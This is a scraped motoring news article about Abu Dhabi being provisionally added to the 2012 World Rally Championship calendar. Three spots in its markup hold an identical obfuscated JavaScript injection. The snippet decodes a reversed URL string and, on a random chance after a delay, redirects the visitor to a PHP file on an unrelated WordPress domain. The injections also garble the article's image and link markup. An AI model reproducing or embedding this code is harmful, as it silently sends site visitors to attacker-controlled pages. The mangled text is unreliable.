Abu Dhabi set for WRC round // World Rally Championship

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20118994/abu-dhabi-set-for-wrc-round-world-rally-championship/wrc-ford-fiesta/”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/04/wrc-ford-fiesta-728×485.jpg” alt=”” width=”728″ height=”485″ />The world’s best rally drivers will be hitting the UAE next year, with news that Abu Dhabi is set to hold a round of the World Rally Championship in 2012.

The UAE capital has been placed on the provisional calendar for next year following a meeting of the FIA World Motor Sport Council’s World Rally Commission, and the decision is expected to be formally ratified next month.

Abu Dhabi has been heavily involved in rallying over recent years, most notably with the Ford Abu Dhabi World Rally team (above), which has an Emirati driver, Sheikh Khalid Al Qassimi. The news of a UAE event follows $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20118983/dubais-wrc-dreams-fazza-rally-team/” target=”_self”>the report that a Dubai-based team looks set to compete in the WRC next year, so it could well race on home turf.

Mubarak Al Muhairi, director general of the Abu Dhabi Tourism Authority, told Sport 360: “Upon entering the world of rally in 2007, ADTA made no secret of its intent to secure Abu Dhabi a round in the FIA World Rally Championship. The authority’s commitment to the world’s most dramatic form of motorsport has never wavered and a provisional place on the 2012 calendar represents the culmination of three-and-a-half years of hard work.”

While Abu Dhabi celebrates however, FIA sources suggest that this weekend’s Jordan Rally could be the last time it features in the WRC, as it has been left off the provisional 2012 calendar along with Italy and Australia. That will further dampen spirits in Jordan, which has had to cancel today’s opening day of this year’s event due to logistical issues.

Picture: steevetittelbach